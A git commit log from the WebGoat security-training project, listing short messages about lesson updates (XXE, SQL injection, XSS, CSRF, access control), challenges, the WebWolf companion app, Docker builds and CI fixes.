8b8a89a8ab Add extra informational message when a failure occurs while sending an email from WebGoat to WebWolf. 2018-04-28 16:01:57 +02:00
Nanne Baars
e4ca0c4836 Make report working again 2018-04-27 19:26:01 +02:00
Nanne Baars
e422da4c64 Polling for lesson updates (updates the menu and page navigation) 2018-04-27 18:50:13 +02:00
Nanne Baars
76daac0db5 Label was missing for HTTP basic lesson 2018-04-27 11:29:52 +02:00
Nanne Baars
245ba2c3d1 Fix XXE lesson, the exact .webgoat directory including version number will be put in the lesson. 2018-04-24 20:44:05 +02:00
Nanne Baars
672d78eebc Resource bundle in UTF-8 2018-04-23 16:12:50 +02:00
Nanne Baars
f4eb96fc6a Add additional remark WebWolf should be running if interaction is necessary 2018-04-23 11:32:07 +02:00
Nanne Baars
46fedf3764 Fix for Docker command to start WebWolf 2018-04-23 11:20:25 +02:00
Nanne Baars
f30db3abfc New version number 2018-04-11 20:45:12 +02:00
Nanne Baars
58d4b81df2 Wrong image name mentioned in lesson for WebWolf 2018-04-11 20:22:19 +02:00
Nick Smith
a922c00182 Chore - fix spelling issues 2018-02-15 20:12:53 +00:00
nbaars
2ae1b4955f By default binds to ALL network interfaces #431
Fix for Docker not binding to any address by default
2018-01-30 07:18:05 +01:00
xanderhades
f21fe7f2c3 Fixed typos 2018-01-30 05:49:51 +00:00
nbaars
13a4b69cbe All lesson flags are displayed while running webgoat 8.0 standalone java file #430 2018-01-29 15:43:19 +01:00
nbaars
98efc1235f By default binds to ALL network interfaces #431 2018-01-29 15:32:02 +01:00
nbaars
b99b554522 Version: docker 8.0.0.M9 Multiple users can't finalize the same lesson #432 2018-01-29 15:29:48 +01:00
Nitish
3cd349bb4b Update HttpBasics_ProxyIntro0.adoc
Fixed typo, Actual : "wihtin" , Expected :  "within"
2018-01-23 18:01:42 +00:00
nbaars
04ccf9a422 New release should create a new webgoat directory with version tag inside #423 2018-01-21 17:46:43 +01:00
nbaars
ee11381a63 Fixed database issue mappings 2018-01-21 17:13:28 +01:00
nbaars
2cc6c232e2 Added macro for asciidoc to produce the WebWolf link dynamically depending on configuration 2018-01-15 20:56:59 +01:00
nbaars
dec55d52ca Replaced quotes with normal character (Version: 8.0.0.M5 Character Encoding Issues #411) 2018-01-14 13:22:28 +01:00
Noah Hansen
568fa82270 fixed ContentTypeAssignment and SimpleXXE to work with MacOSX 2018-01-13 16:00:11 +00:00
Jason Hilton
bad60c43c0 vagrant-training is where the vagrant file is 2018-01-13 15:55:42 +00:00
nbaars
a6b9235711 SQL Error '-104' in XSS Lesson Page 7 #416 2018-01-10 12:48:45 +01:00
nbaars
253a2f16ed Unable to see buttons like HTTP request parameters, the HTTP request cookies, and the Java source code #417 2018-01-10 12:04:28 +01:00
nbaars
e801b0917d Unable to save email send to WebWolf #419 2018-01-10 09:19:20 +01:00
nbaars
ae92ac6808 Changed the Vagrantfile to contain the correct release name
Deleted the Vagrant files for setting up dev environment, today it is
easy to setup the dev environment yourself to start working.
2018-01-09 12:42:57 +01:00
nbaars
a9ac00a075 Clean up 2018-01-08 23:42:36 +01:00
Nanne Baars
0120c7c3a6 Updating README.md 2018-01-02 22:50:10 +01:00
nbaars
5bbdb8893c Not making a Docker release is we build develop (putting a tag will create a release which is more a controlled/intuitive way to make a release to Docker)
(cherry picked from commit e3e7ed0)
2018-01-02 22:20:38 +01:00
nbaars
e3e7ed004f Not making a Docker release is we build develop (putting a tag will create a release which is more a controlled/intuitive way to make a release to Docker) 2018-01-02 22:19:49 +01:00
nbaars
05d8b590f3 Merge tag '8.0.0' into develop
Release 8.0.0
2017-12-30 16:52:24 +01:00
nbaars
114fbc5760 Merge branch 'release/8.0.0' 2017-12-30 16:50:39 +01:00
nbaars
32311a80da Updating readme 2017-12-30 16:25:10 +01:00
nbaars
d3ee9431d8 Tagging latest Docker build with Travis as well 2017-12-30 14:13:34 +01:00
nbaars
4811a9d563 Removed Mongodb, so we do not have issues with downloading the embedded Mongodb. Moved back to JPA and use HSQLDB for storing user information.
WebWolf now has its own user management (will move to separate Github repo)
2017-12-29 22:20:52 +01:00
nbaars
c6e86861fe Removed Mongodb, so we do not have issues with downloading the embedded Mongodb. Moved back to JPA and use HSQLDB for storing user information. 2017-12-29 22:12:21 +01:00
nbaars
b64aa43760 Updated bootstrap script to use webgoat-server for starting spring-boot 2017-12-28 00:27:25 +01:00
nbaars
dd7f4074cd Added encoding for asciidoc 2017-12-28 00:16:16 +01:00
Nanne Baars
8c10000e4e Updating documentation for run of the sources 2017-11-23 03:01:09 +01:00
Nanne Baars
43b82027f5 Added more content for CSRF lesson 2017-11-22 01:34:05 +01:00
Nanne Baars
5eed385d5d When an adoc file cannot be found the complete lesson crashed, made it failsafe with a logging statement. 2017-11-17 07:08:24 +01:00
Nanne Baars
75d0405da1 Fixed XXE lesson the posting of the comments did not show up directly only after page refresh 2017-11-17 07:07:43 +01:00
Nanne Baars
157b982394 successFunction and failureFunction were selected by using the main form (so the succesFunction of the first assignment was used for the next assignment) not the currentForm we determined in onFormSubmit() function. 2017-11-17 07:06:56 +01:00
Nanne Baars
99048d6d9d Fixing failing Travis script 2017-11-16 06:00:11 +01:00
Nanne Baars
971f11534d Debugging failing Travis script 2017-11-16 05:56:13 +01:00
Nanne Baars
c06e4d462b Error in travis.yml 2017-11-16 05:32:42 +01:00
Nanne Baars
39029f604f Travis sets version 2017-11-16 05:29:26 +01:00
Nanne Baars
36fcb58caa Endpoints async for posting mail and landingpage 2017-11-16 04:43:14 +01:00
Nanne Baars
6c91e7dc8a Fixed WebWolf issues with sending e-mails 2017-11-15 11:58:31 +01:00
Nanne Baars
a543deca04 Travis without output 2017-11-02 22:27:07 +01:00
Nanne Baars
f91f77708a New version 2017-11-02 21:44:30 +01:00
Nanne Baars
100876ad6c Changed introduction 2017-11-02 20:44:21 +01:00
Nanne Baars
56fc0fce05 Added test for XXE 2017-11-02 20:41:30 +01:00
Nanne Baars
fc1353b2f1 Pom cleanup 2017-11-02 16:14:44 +01:00
Nanne Baars
1e9f92220d Removed unnecessary JPA libraries 2017-11-02 15:44:45 +01:00
Nanne Baars
a11d3d0b1b - Made movie little bit shorter because webgoat-server.jar was over 200Mb
- Movie was copy and pasted to csrf and auth lesson removed it from those lessons
- Made jars which are not necessary in the webgoat-server.jar optional
2017-11-02 15:39:49 +01:00
Nanne Baars
87a7521dcd Adding introduction to WebGoat as the web interface opens with WebWolf which is confusing because people thought you needed to download WebWolf and start it directly. Feedback received during workshops 2017-11-02 14:28:20 +01:00
Magicansk
a11e6911cd Update and rename sol.txt to sol.MD
Add md syntax
2017-11-02 13:09:49 +01:00
Magicansk
5614cda0bf Update getting-started.MD 2017-11-02 13:09:23 +01:00
Magicansk
69d44aed5b Update and rename getting-started.txt to getting-started.MD
Change .txt to .md.
Add all the markdown syntax and fixed the xml syntax
2017-11-02 13:09:23 +01:00
Nanne Baars
8729d9bfcf Fixed minor issues for properties and starting WebGoat 2017-11-02 12:42:19 +01:00
misfir3
f6911b49a7 Merge pull request #402 from misfir3/develop
more hints/helps cleanup
2017-10-30 09:03:03 -06:00
Jason
24cf806787 more hints/helps cleanup 2017-10-25 18:05:08 -06:00
misfir3
1ac305e9b9 Merge pull request #399 from misfir3/develop
#351 - using listenToOnce to get rid of redundant calls
2017-10-25 17:13:11 -06:00
Jason
c6f1c5cd2a #351 - using listenToOnce to get rid of redundant calls 2017-10-25 17:11:54 -06:00
Magicansk
74218de135 Update README.MD 2017-10-25 21:43:58 +02:00
Sönke
1f6d7fdc39 Update Java Version
Solves #385
2017-10-23 23:36:35 +02:00
Sönke
cce1945f23 Fix Apt Error for Google Repository
See https://askubuntu.com/questions/724093/no-more-updates-for-google-chrome-apt-get-update-error
2017-10-23 23:35:40 +02:00
Nanne Baars
bb3bc9b883 Releasing v8.0.0.M2 2017-10-18 22:36:58 +02:00
Nanne Baars
bb5e0c06dd Directory can already exists 2017-10-18 22:26:46 +02:00
Nanne Baars
0508859cf5 Copy jar files to directory for Github release 2017-10-18 22:14:04 +02:00
Nanne Baars
738b2d8054 Skipping the clean-up while releasing to Github 2017-10-18 21:39:52 +02:00
Nanne Baars
0c88dcf463 Bug when passing version to Docker (v8.0 should be 8.0) 2017-10-18 21:08:59 +02:00
Nanne Baars
d1729e8f3c Adding version number to Dockerfile as variable 2017-10-18 20:57:57 +02:00
Nanne Baars
1ecb43092d Bumped version number 2017-10-18 19:58:14 +02:00
Nanne Baars
904a6b363d Fixing Docker build 2017-10-18 19:52:57 +02:00
Nanne Baars
8250b4048f Updating version number 2017-10-18 19:43:33 +02:00
Nanne Baars
839bdbd9e2 Forgot uncommenting Docker login command in script 2017-10-18 12:19:41 +02:00
Nanne Baars
42775c1980 Adding apt-get install of curl to Dockerfile 2017-10-18 12:07:56 +02:00
Nanne Baars
9e37a3e702 Adding Docker as service 2017-10-18 11:54:05 +02:00
Nanne Baars
3ee1a1ca16 Travis now builds Docker and create a Github release.
Removed ActiveMQ between WebGoat and WebWolf they now act as standalone applications
2017-10-18 10:54:16 +02:00
Nanne Baars
50543a9b55 Cleaning up test case logging 2017-10-13 23:14:47 +02:00
misfir3
994b181b8f Merge pull request #393 from misfir3/develop
Typo fix for CSRF content
2017-10-13 10:34:40 -06:00
Jason White
49c3008fe2 Typo fix for CSRF content 2017-10-13 10:33:38 -06:00
misfir3
0fd704bb54 Merge pull request #392 from misfir3/develop
Image Cleanup for Http Proxies
2017-10-13 10:18:33 -06:00
Jason White
9e66ee177d Image Cleanup for Http Proxies 2017-10-13 10:13:07 -06:00
misfir3
09742323b3 Merge pull request #391 from misfir3/develop
xss updates
2017-10-13 09:56:22 -06:00
misfir3
4e7034f6c1 Merge pull request #390 from misfir3/develop
csrf lesson update
2017-10-13 09:52:41 -06:00
Jason White
f9a43d0961 xss updates 2017-10-13 09:52:19 -06:00
Jason White
8d488c6ac6 More CSRF Updates 2017-10-13 09:28:41 -06:00
Jason White
b03a32f92c update to do CSRF-based comment forging 2017-10-12 18:17:48 -06:00
Jason White
d0ec84e9a6 Merge remote-tracking branch 'upstream/develop' into develop 2017-10-11 20:29:47 -06:00
Jason White
17e122b914 adding .DS_Store to .gitignore 2017-10-11 20:28:36 -06:00
Jason White
b156d81535 Initial cut on CSRF. More to come 2017-10-11 20:06:57 -06:00
Nanne Baars
5033c3661a Cleaning up test case logging 2017-10-08 02:07:22 +02:00
Nanne Baars
6cb526aa43 Maven build generates too much output for Travis CI 2017-10-08 01:58:03 +02:00
Nanne Baars
14b188597a Maven build generates too much output for Travis CI 2017-10-07 19:27:53 +02:00
Nanne Baars
8a982dedb5 Updated XXE lesson so it also uses WebWolf 2017-10-07 13:46:34 +02:00
Nanne Baars
94caba7eb1 Landing page incoming requests now look whether the referer is WebGoat (all incoming requests from WebGoat will now be logged) 2017-09-13 00:22:52 +02:00
Nanne Baars
109fe2c438 Added WebWolf to Docker 2017-09-12 23:44:32 +02:00
Nanne Baars
46c536554c - Added new challenges
- Added new webapplication called WebWolf to make attacks more realistic
- Added WebWolf lesson to explain the concepts behind this new application
2017-09-12 23:12:10 +02:00
Nanne Baars
56f19caed6 #380 Download mongodb while building the Docker image. If you are behind a proxy (or no connection) during the start of WebGoat you might not be able to download the mongodb binary. 2017-08-15 08:15:44 +02:00
misfir3
6a440a93c0 Merge pull request #379 from misfir3/missing-function-level-ac
Missing function level ac
2017-08-09 00:29:31 -06:00
Jason White
ec2ab55749 fixing test directory structure 2017-08-09 00:24:04 -06:00
Jason White
2463f534b5 Formatting and bumping file in test dir 2017-08-09 00:19:34 -06:00
misfir3
51c9363162 Merge pull request #378 from misfir3/missing-function-level-ac
Missing function level ac
2017-08-09 00:10:22 -06:00
Jason White
8f740ace73 additional tests, one fix 2017-08-08 23:56:43 -06:00
Jason White
476ab415a4 More tests for AC lesson 2017-08-08 18:47:49 -06:00
Jason White
b8d17a1cfd Basic endpoint tests added 2017-08-08 18:06:18 -06:00
Jason White
b41751a55c missing function level ac working again ... after VM implosion 2017-08-08 17:15:20 -06:00
Jason White
8df1d53471 interim missing function ac commit, traversing dev. env. 2017-08-08 09:28:09 -06:00
Jason White
06bf690a3a Merge remote-tracking branch 'upstream/develop' into develop 2017-08-02 19:12:29 -04:00
Jason White
10e5edbc36 temp. removal of offending UT 2017-08-02 19:06:55 -04:00
Nanne Baars
49621c637f Upgraded to latest in memory MongoDB (due to download link no longer working) 2017-07-26 05:07:15 +02:00
Nanne Baars
0b92a57f77 WebGoat no longer runs as root in the Docker container. 2017-07-26 05:06:40 +02:00
Nanne Baars
b06fb72a74 Fixed typo 2017-07-25 17:41:37 +02:00
Jason White
f1a104f0ab merging missing function-level-ac lesson 2017-07-25 09:44:10 -04:00
Jason White
8186bd4766 css and xss updates 2017-07-24 18:05:57 -04:00
Jason White
c44186f986 start of missing function ac lesson 2017-07-24 16:26:23 -04:00
Jason White
ca4b0c06b5 lesson css file 2017-07-24 11:34:10 -04:00
misfir3
c87f75ed18 Merge pull request #375 from misfir3/develop
Minor Updates to Categories and IDOR hints
2017-07-19 16:45:38 -04:00
Jason White
fc05a68ef7 update to IDOR hints 2017-07-19 16:00:10 -04:00
Jason White
dce962bdeb Updating Category ordering, closer to T10 2017-07-19 15:54:50 -04:00
Paul Moreno
8a2499c56a Update to README.MD (#372)
Providing instructions on how to change listening IP address.
2017-07-19 09:55:10 -04:00
Jason White
9e1e4c1d2a Merge remote-tracking branch 'upstream/develop' into auth-bypass 2017-07-19 08:58:24 -04:00
Jason White
b57cfd06b1 Started testing. Having issues, but commiting stubs and making ticket to return 2017-07-19 08:56:48 -04:00
Jason White
89bfc3f12d fixing image 2017-07-18 17:54:50 -04:00
Jason White
9b643728f8 verify account assignment hints 2017-07-18 17:48:57 -04:00
Jason White
0cb4faf15f refactor to support cleaner scoping && success and failure callbacks 2017-07-18 17:39:58 -04:00
Jason White
ce7c271bb5 initial cut on auth-bypass lesson 2017-07-18 15:59:46 -04:00
misfir3
cac1fb17e4 minor update to getting started file
Updating Base Class section/description
2017-07-12 16:59:13 -04:00
Jason White
bf06d645a1 Merge remote-tracking branch 'upstream/develop' into develop 2017-07-10 10:18:12 -04:00
misfir3
10481cb63d lesson overview updates (#369)
* Lesson Overview updates

* including restart lesson fix for lesson overview
2017-07-10 08:33:28 -04:00
misfir3
82ef171a50 XSS Lesson Modifications (#367)
* initial cut on XSS, need to add some tests still

* initial unit tests for assignment endpoints

* updating header comment license thingy

* comment, clean up

* Stubs for security unit test

* Additional Unit Testing

* isEncoded and isNotEncoded Unit Tests added

* http-proxies updates

* update for XXE solutions

* Work-around to handle special chars in action ... currently to be able to match {userId} in hint creation/assignment for IDOR

* IDOR hints updated

* mitigation content update

* mitigation content update ... 2

* Lesson Overview updates

* including restart lesson fix for lesson overview
2017-07-10 08:33:10 -04:00
Jason White
fb65534355 Merging from 'injection-updates' into local develop branch 2017-07-03 15:22:02 -04:00
Jason White
2e4e4ea716 including restart lesson fix for lesson overview 2017-07-03 12:37:15 -04:00
Jason White
daaf361dd2 Lesson Overview updates 2017-07-03 12:14:01 -04:00
Jason White
921561cf32 mitigation content update ... 2 2017-06-27 11:33:39 -04:00
Jason White
ebb851b361 mitigation content update 2017-06-27 11:28:16 -04:00
Jason White
296723508b IDOR hints updated 2017-06-27 10:26:22 -04:00
Jason White
89e2fc109c Work-around to handle special chars in action ... currently to be able to match {userId} in hint creation/assignment for IDOR 2017-06-27 10:24:38 -04:00
Jason White
dd18e68660 merge of upstream, conflict resolution 2017-06-27 08:30:58 -04:00
Jason White
3a9bb946ed update for XXE solutions 2017-06-27 08:27:06 -04:00
Jason White
3ec5b8708e clean up of unneeded stuff in pom 2017-06-23 14:46:40 -04:00
Jason White
ccb4e3813b #353 - lesson template/guide 2017-06-23 14:46:09 -04:00
Nanne Baars
b304dbb552 Changed to develop for coverage 2017-06-20 09:44:12 +02:00
Nanne Baars
edceba73fe - Added testcases for bypassing frontend validation.
- Improved layout of the lesson
- Fixed JavaScript issues with 'let'
2017-06-16 01:16:31 +02:00
Nanne Baars
bf210de013 Added testcase for SQL lesson 6b 2017-06-16 00:33:02 +02:00
Nanne Baars
e808abd504 Added testcase for SQL lesson 6a 2017-06-16 00:23:40 +02:00
Nanne Baars
f1fd214580 Added more testcases for the SQL lesson 12 2017-06-15 23:49:03 +02:00
Nanne Baars
7809057208 Enabled the challenges again to make them visible for everybody who starts WebGoat 2017-06-15 23:38:04 +02:00
Nanne Baars
36ad73c800 Added more mitigations for XXE 2017-06-15 23:36:51 +02:00
Nanne Baars
e9ad20cb30 Make sure we clean all the files below the .webgoat dir 2017-06-15 19:08:19 +02:00
Nanne Baars
a484467419 Adding extra lesson for order by clauses 2017-06-15 19:08:19 +02:00
Nanne Baars
ee912f734b Added SQL injection from challenge to lesson and added content for a blind sql injection 2017-06-15 19:08:19 +02:00
Nanne Baars
0740c4ba95 Split large SQL lesson 2017-06-15 19:08:19 +02:00
Nanne Baars
b048988d2f Changed layout of the html tampering lesson and fixed some JavaScript issues. Added a small mitigation page.
Moved the lessons concerning client side validation to client side category
2017-06-13 03:22:19 +02:00
Nanne Baars
09d8fef50e Merge branch 'develop' of github.com:WebGoat/WebGoat into develop 2017-06-12 20:02:30 +02:00
Michal Smolík
870fa000aa bypass front-end restrictions (javascript validation) 2017-06-13 10:09:39 +02:00
Michal Smolík
01421ca822 html restrictions lesson 2017-06-13 10:09:39 +02:00
Michal Smolík
007cdaa0d8 insecure login lesson 2017-06-13 10:09:39 +02:00
Nanne Baars
99f75a835c #359 Fixed 2017-06-12 20:02:21 +02:00
Nanne Baars
52a48df70c XXE successfully completed message was no longer shown, fixed it by using form POST together with customjs functions.
Introduced callback functionality which you can specify after the posting in order to be able to load the comments list again.
2017-06-12 15:08:55 +02:00
Nanne Baars
19a4859e4f Fix hint not being display correctly due to missing escaping 2017-06-12 13:03:14 +02:00
Jason White
06a3f5d189 http-proxies updates 2017-06-09 15:33:21 -04:00
Jason White
2305d355c7 isEncoded and isNotEncoded Unit Tests added 2017-05-25 19:36:02 -04:00
Jason White
31548b9c57 Additional Unit Testing 2017-05-24 17:12:28 -04:00
Jason White
e733131241 Stubs for security unit test 2017-05-24 13:12:36 -04:00
Jason White
a9e5dd645d comment, clean up 2017-05-22 20:10:03 -04:00
Nanne Baars
129e9deba9 Added testcase for SQL injection lesson 2017-05-21 16:40:52 +02:00
Nanne Baars
9f12da1434 Changed e-mail address 2017-05-21 14:44:33 +02:00
Nicholas J. Parks
13a2661cb2 modifications to README for GKE-Docker 2017-05-21 16:04:49 +02:00
Nicholas J. Parks
2729486c24 make sure there are new lines at the end of these files 2017-05-21 16:04:49 +02:00
Nicholas J. Parks
9990023d98 A Whole bunch of readme edits 2017-05-21 16:04:49 +02:00
Nicholas J. Parks
a10d926859 Misc Text updates 2017-05-21 16:04:49 +02:00
Nicholas J. Parks
8c0abe06b8 Horrible Murican! Grammar and spelling… 2017-05-21 16:04:49 +02:00
Nicholas J. Parks
6206aa84b2 Markdown 2017-05-21 16:04:49 +02:00
Nicholas J. Parks
086e674bf4 A Whole bunch of readme 2017-05-21 16:04:49 +02:00
Nicholas J. Parks
70625ff5a2 Add Google Cloud Platform Initial Seed Items 2017-05-21 16:04:49 +02:00
Nicholas J. Parks
fedd2b1be6 arbitrary difference between code commit and GitHub…really arbitrary 2017-05-21 16:04:49 +02:00
Nicholas J. Parks
284c05ee29 change to use GitHub instead of code commit 2017-05-21 16:04:49 +02:00
Nicholas J. Parks
c3d18d5582 initial add of cloudformation for platform seeding purposes 2017-05-21 16:04:49 +02:00
Ryan Canty
fbb389a7b4 Updated the instructions for running on Docker
- Removed unnecessary white space
- Included the instructions for what path in the URL to go to once the
	app starts
- Added instructions for different types of docker use (boot2docker,
	etc)
2017-05-21 16:01:03 +02:00
Nanne Baars
0ad1f0d147 Fixing Travis issues while building 2017-05-21 13:28:29 +02:00
Nanne Baars
2b2451dd9c testing with Travis dirs 2017-05-21 13:10:52 +02:00
Nanne Baars
50795d9ded testing with Travis dirs 2017-05-21 13:06:00 +02:00
Nanne Baars
edea515564 Test failed due to hardcoded path 2017-05-21 12:46:10 +02:00
Nanne Baars
877de6ebd4 Updated XXE lessons with challenge screens 2017-05-21 12:24:42 +02:00
Nanne Baars
cb9503d4a3 Upgraded to Spring Boot 1.5.3 2017-05-21 11:04:13 +02:00
Jason White
a5b4aeaa76 updating header comment license thingy 2017-05-20 21:49:40 -04:00
Jason White
857f09df14 initial unit tests for assignment endpoints 2017-05-20 21:17:02 -04:00
Jason White
feead6b740 initial cut on XSS, need to add some tests still 2017-05-18 14:41:14 -04:00
Nanne Baars
6f0f71b131 Changed XXE lessons to use photo comment example 2017-05-04 06:25:11 +02:00
Nanne Baars
05f6fb226f Removed challenges from pom.xml 2017-05-04 03:05:47 +02:00
Nanne Baars
8d3c251d04 Merge branch 'challenge' into develop
Conflicts:
	webgoat-container/src/main/resources/static/css/main.css
2017-05-04 03:02:00 +02:00
Nanne Baars
4a061f61a6 Integrated XXE assigment from CTF to XXE lesson 2017-05-04 02:25:56 +02:00
Nanne Baars
d25f71532b Moved challenge 4 to challenge 6 and introduced new sql injection challenge 5 2017-05-03 17:30:49 +02:00
Jason White
e656d30b7e hint updates 2017-05-11 10:44:26 +01:00
Jason White
9cd5f101d4 challenge 1 hint update 2017-05-11 09:05:01 +01:00
Nanne Baars
ff89daf987 Moved challenge 4 to challenge 6 and introduced new sql injection challenge 5 2017-05-03 14:34:15 +02:00
Jason White
4baceeb98b challenge 1 hint update 2017-05-11 08:57:16 +01:00
Jason White
08e7916b39 polling updates, including banner for appseceu 2017-05-10 16:15:38 +01:00
Nanne Baars
cae937c83e Updated menu item for challenges 2017-05-03 11:51:24 +02:00
Jason White
c7c664ad4a polling for scoreboard added (appseceu) 2017-05-10 15:28:07 +01:00
Nanne Baars
a676fffc4e Added Gatling performance testing 2017-05-03 09:40:57 +02:00
Jason White
328cd9bf24 For quick reloading/restart via intelliJ during dev 2017-05-10 13:08:27 +01:00
Jason White
118079233d hints view fix. still a redundant call issue, but logging separately 2017-05-10 13:08:27 +01:00
Nanne Baars
194a327ad5 Fixed issue when restarting the lesson the menu was not updated (the marker stayed behind)
Also restarting the lesson was not persisted
2017-05-03 05:08:00 +02:00
Nanne Baars
5508a08e20 small UI improvement 2017-05-03 03:33:49 +02:00
Nanne Baars
97e84ae872 Adding assignment class for challenge 5 2017-05-03 03:30:06 +02:00
Nanne Baars
6909d13ecb Fixed challenge 1 2017-05-03 03:16:07 +02:00
Nanne Baars
4f561fc377 Added testcases for challenge 2 and 5 2017-05-03 02:47:17 +02:00
Jason White
efe5ca4b4d http-proxies update for AppSecEU challenge 2017-05-09 15:07:56 +01:00
Jason White
f6d7016b96 typo fix 2017-05-09 15:07:56 +01:00
Nanne Baars
6184a05c15 Fix challenge 1 testcase 2017-05-02 23:37:37 +02:00
Nanne Baars
945976868b Added testcases 2017-05-02 23:28:48 +02:00
Nanne Baars
262d82f80b Finishing challenge 5 2017-05-02 19:05:40 +02:00
Jason White
6fbd8457c1 update for width .. FF fix 2017-05-02 10:02:42 -04:00
Nanne Baars
3cb089d675 Layout improvements 2017-05-02 15:01:10 +02:00
Nanne Baars
1edf091c4e Improvements for challenge 3 2017-05-02 14:26:50 +02:00
Nanne Baars
344b1f9beb Extended challenge 1 with checking ip address client 2017-05-02 09:13:41 +02:00
Jason White
480dfe6a0a scoreboard v 0.1 we'll say 2017-05-05 13:12:01 -04:00
Jason White
aeaa3cd1a2 removing template cruft from other lesson 2017-05-05 09:59:59 -04:00
Nanne Baars
454e8d4c14 Solving an assignment twice adds its again which breaks the UI because the endpoint for lessonoverview returns mulitple values for the same assignment. 2017-05-02 04:38:30 +02:00
Jason White
b840b0f3b5 additional support for scoreboard view 2017-05-02 22:24:31 -04:00
Jason White
4a2701c79b clean up 2017-05-02 22:24:31 -04:00
Jason White
e0f23bfa38 initial removal (comment) of plan,solution and source views. Should remove some chattiness 2017-05-02 22:24:31 -04:00
Jason White
b0f66f16fb initial plumb of scoreboard 2017-05-02 22:24:31 -04:00
Nanne Baars
615ca5afe3 Posting a flag shows a response in the UI (correct or incorrect) 2017-05-02 03:25:31 +02:00
Nanne Baars
a134b25213 Scoreboard now returns the flags captured (title) 2017-05-02 02:45:35 +02:00
Nanne Baars
eb7a6bd2be Creating endpoint for the scoreboard 2017-05-02 02:29:47 +02:00
Nanne Baars
39f1597f82 Challenge 5: loading votes from endpoint 2017-04-30 20:53:43 +02:00
Nanne Baars
9964fac0f1 Challenge 5: changing username working 2017-04-30 20:53:42 +02:00
Nanne Baars
262fbbcf52 First setup for challenge 5 2017-04-30 20:53:42 +02:00
misfir3
459cc613e1 Update main.css
quick update to ensure horizontal space is used
2017-04-21 12:27:37 -04:00
Nanne Baars
2f72ac4add Merge branch 'develop' into challenge 2017-04-16 08:54:34 +02:00
Nanne Baars
a63bf006d6 Language of the browser not english will crash WebGoat during loading of the asciidoc. This is due to the fact we always presume the lesson plan is available in the browser language. It now falls back to 'en' whenever the lesson cannot be found with the language obtained from the browser. 2017-04-16 07:52:30 +02:00
Nanne Baars
d66db56c86 Added test for LessonMenuService. 2017-04-16 07:28:35 +02:00
Nanne Baars
7054c44c40 Fixed sorting issue with lessons, in particular the challenges need to be ordered so the intro is displayed first 2017-04-16 05:57:40 +02:00
Nanne Baars
3ccfcac8ff Challenge 4 done 2017-04-16 05:14:47 +02:00
Nanne Baars
ec36dbd43c Challenge 4 SQL is working 2017-04-15 21:15:46 +02:00
Nanne Baars
ed0e1a1f37 First setup for challenge 4 2017-04-15 18:12:25 +02:00
Nanne Baars
213e73bf02 Making database for each user (no sharing between each other) 2017-04-15 18:11:55 +02:00
Nanne Baars
7ff5503241 Fixed posting flags towards the server 2017-04-15 14:01:34 +02:00
Nanne Baars
6f633a0f78 Added the ability to remove all *.progress files when starting the server (for development). This is sometimes necessary when the internal structure of the lessons change but we still use old progress files. 2017-04-15 14:01:11 +02:00
Nanne Baars
eb13ebc26f Assignments were not grouped per lesson in the same package 2017-04-15 13:59:57 +02:00
Nanne Baars
d28eadcc55 Merge branch 'challenge' of github.com:WebGoat/WebGoat into challenge 2017-04-15 11:38:50 +02:00
Nanne Baars
b10817564e Fixing challenges intro and challenge 3 2017-04-15 11:37:44 +02:00
Nanne Baars
4e3ca68d08 Stop showing old lesson overview after finishing a lesson 2017-04-15 11:37:44 +02:00
Nanne Baars
e570f4bde2 Fixed pagination not initializing correctly when clicking on menu items 2017-04-15 11:37:44 +02:00
Nanne Baars
6a3b40a640 Fixed layout issues 2017-04-15 11:37:43 +02:00
Nanne Baars
ec338326ea Separating challenges 2017-04-15 11:37:43 +02:00
Nanne Baars
4feae018d3 Challenge 3: displaying comments 2017-04-15 11:37:43 +02:00
Nanne Baars
835cf35ea0 Challenge 4: First setup 2017-04-15 11:37:43 +02:00
Nanne Baars
cebf74cd10 Challenge 3: First setup completed 2017-04-15 11:37:43 +02:00
Jason White
9bc219e931 numbering on pagination 2017-04-15 11:37:43 +02:00
Jason White
e3d281a5f6 refactor of pagination controls 2017-04-15 11:37:43 +02:00
Nanne Baars
6a9f7e0b0f Challenge 2: making elements on page work together 2017-04-15 11:37:43 +02:00
Nanne Baars
05bb61ad57 Roundtrip for challenge 2 done 2017-04-15 11:37:43 +02:00
Nanne Baars
599f36fdb8 Challenge 2 JavaScript is working 2017-04-15 11:37:43 +02:00
Nanne Baars
d1bf80a670 First steps for challenge 2 2017-04-15 11:37:43 +02:00
Nanne Baars
ebf2f9d864 wip 2017-04-15 11:37:43 +02:00
Nanne Baars
b093d36dc3 Added more for challenge 1 including input form group for flag 2017-04-15 11:37:43 +02:00
Nanne Baars
911fe36557 First attempt for challenge 2017-04-15 11:37:43 +02:00
Nanne Baars
243e6d5247 Fixing docker commands 2017-04-15 11:18:34 +02:00
Nanne Baars
8def26825b #345 Lesson about Insecure Object References does not work - WebGoat 8.0 2017-04-09 06:53:14 +02:00
Nanne Baars
c3a11af20b Fixing challenges intro and challenge 3 2017-04-09 05:51:46 +02:00
Nanne Baars
c11c0104a3 Stop showing old lesson overview after finishing a lesson 2017-04-09 05:51:12 +02:00
Nanne Baars
91eba2542a Fixed pagination not initializing correctly when clicking on menu items 2017-04-09 05:48:15 +02:00
Nanne Baars
c2c7c602df Fixed layout issues 2017-04-09 03:27:16 +02:00
Nanne Baars
a60c529229 Separating challenges 2017-04-09 02:30:28 +02:00
Nanne Baars
c0b46221b7 Challenge 3: displaying comments 2017-04-09 02:30:28 +02:00
Nanne Baars
508f128744 Challenge 4: First setup 2017-04-09 02:30:28 +02:00
Nanne Baars
68e15398e5 Challenge 3: First setup completed 2017-04-09 02:30:28 +02:00
Jason White
2e1d411220 numbering on pagination 2017-04-10 16:49:45 -04:00
Jason White
2cec95f8d3 refactor of pagination controls 2017-04-10 16:49:45 -04:00
Nanne Baars
9b7396cb93 Challenge 2: making elements on page work together 2017-04-08 11:25:24 +02:00
Nanne Baars
fd2bdce270 Roundtrip for challenge 2 done 2017-04-08 11:08:33 +02:00
Nanne Baars
931da87c2b Challenge 2 JavaScript is working 2017-04-08 10:31:56 +02:00
Nanne Baars
12f680407b Added validation to detect duplicate users during registration 2017-04-08 08:32:19 +02:00
Nanne Baars
8500749dde Updated README for building and starting WebGoat 2017-04-08 08:32:19 +02:00
Nanne Baars
ed85c97306 Fixing Travis build 2017-04-08 08:32:19 +02:00
Nanne Baars
e9884edf19 Fixed exception while logging in with unknown user 2017-04-08 08:32:19 +02:00
Nanne Baars
08f0c94a57 Fixed logout 2017-04-08 08:32:19 +02:00
Nanne Baars
fbf2d1b422 Added validation to detect duplicate users during registration 2017-04-08 08:30:14 +02:00
Nanne Baars
